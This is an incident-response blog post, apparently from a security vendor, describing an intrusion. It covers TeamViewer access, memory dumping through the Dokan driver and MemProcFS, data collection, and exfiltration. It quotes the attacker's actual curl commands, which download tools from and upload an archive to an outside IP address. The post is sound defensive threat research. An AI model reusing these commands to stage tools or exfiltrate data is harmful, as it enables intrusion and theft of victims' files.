Curling for Data: A Dive into a Threat Actor's Malicious TTPs

The Huntress agent was recently added to a new customer’s environment as a result of suspicious activity they’d become aware of, and not long after, Huntress SOC analysts alerted the customer to further malicious activity within their infrastructure. Investigating beyond the initial alerts, the Huntress team identified a novel and interesting set of tactics, techniques, and procedures (TTPs) employed by the threat actor. The alerts were fired three days after the Huntress agent was installed.

Initial Access

While the endpoint in question was apparently experiencing issues prior to the Huntress agent being installed, it was not clear that the previous activity was associated with the activity alerted on once the agent was installed. When investigating the alerts more deeply, Huntress analysts found that approximately 11 hours before the Huntress agent was installed, there was an unusual connection to TeamViewer; the TeamViewer connections_incoming.txt file contained an entry that read:

[.highlight]Support 01-12-2023 08:24:10 01-12-2023 08:24:28 <unknown> RemoteControl {<GUID>}[.highlight]

This particular entry stood out due to the <unknown> field, where all previous entries contained valid account names specific to the environment. Also, per the timeline of events created for this investigation, the timeframe for this TeamViewer access corresponded to LocalSessionManager log events associated with the login via a known administrator account. Associated activity indicated that this access was directly associated with follow-on activity. Finally, the connection is extremely short-lived (approximately 18 seconds), much shorter than surrounding connections.

File Download/Infiltration

Three days after the Huntress agent was installed, existing detections fired alerts based on a file download that occurred via curl.exe:

curl -v -o Dokan_x64.msi.zip http://193.149.176.90/Dokan_x64.msi.zip

Nineteen seconds later, Huntress analysts observed subsequent commands to download MemProcFS, and then 48 seconds after the Dokan MSI file download, for installation of the Dokan file system driver:

curl -v -o MemProcFS.zip http://193.149.176.90/MemProcFS.zip

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Dokan_x64.msi\Dokan_x64.msi"

Possible Credential Dumping

Following the msiexec.exe command, Windows Event Log records showed the successful installation of the Dokan file system driver, as well as the use of the driver to create the \DosDevices\M: mount point. Approximately 10 seconds later, a PowerShell script was run that added the file M:\pid\1508\minidump\minidump.dmp to an archive.

Based on the path to the minidump file, Huntress analysts attempted to determine which process may have had the process ID (pid) of 1508. However, the curl.exe process that resulted in the initial alert was spawned more than two and a half days after the system was last restarted, which was well outside the data retention window. As such, analysts were not able to specifically identify which process, or processes, may have had their memory dumped.

Based on a combination of log data and EDR telemetry, Huntress analysts observed the threat actor log out of the system and log back in via Terminal Services/RDP, using a second account, one that was clearly compromised (i.e., no failed login attempts). Then, approximately half an hour after the minidump file was added to the archive, the Dokan file system driver was removed via the following command, launched via the second account:

"C:\Program Files\Dokan\DokanLibrary-2.0.6\dokanctl.exe" /r n

The Dokan file system driver writes events to the Windows Event Log with event source “dokan2” and event ID “1”, such that the use of the driver was well documented and persisted beyond the deletion of the driver from the endpoint. The use of the file system driver to create the mount point, and then later remove it spanned 7 minutes and 4 seconds.

Data Exfiltration In The Wild

Shortly after the Dokan file system driver was removed, another PowerShell script named “bk11.ps1” was run, which performed data collection from the endpoint (files, browser settings, history, etc.), and 26 minutes later, the following data exfiltration command was observed:

curl -v -T out.zip http://193.149.176.90/out.zip

The time between the curl.exe command that resulted in the initial alert and the one for data exfiltration was just under an hour and 15 minutes.

It is not unusual to see the use of native Windows applications, referred to as “LOLBins” or “LOLBas”, for activities such as file downloads and data exfiltration. In fact, it wasn’t long ago that Huntress analysts observed the use of finger.exe for data exfiltration.

Conclusion

Huntress analysts were not able to determine how the threat actor was able to obtain credentials for known, valid accounts, as it’s likely that credential access occurred on one or more endpoints within the environment prior to the Huntress agent being installed. This is further supported by the preparedness exhibited by the threat actor (having installation files staged in one location) and the speed at which they carried out their data collection and exfiltration.

During the time they were actively engaging with the endpoint, the threat actor also pinged several other endpoints within the environment directly; that is, they didn’t run a “ping sweep” looking for other endpoints, but instead pinged several endpoints by specifying the system names, information which they clearly already possessed. The threat actor attempted to minimize their footprint by largely relying on native tools and utilities and by using GUI-based tools rather than widely known or previously observed command lines.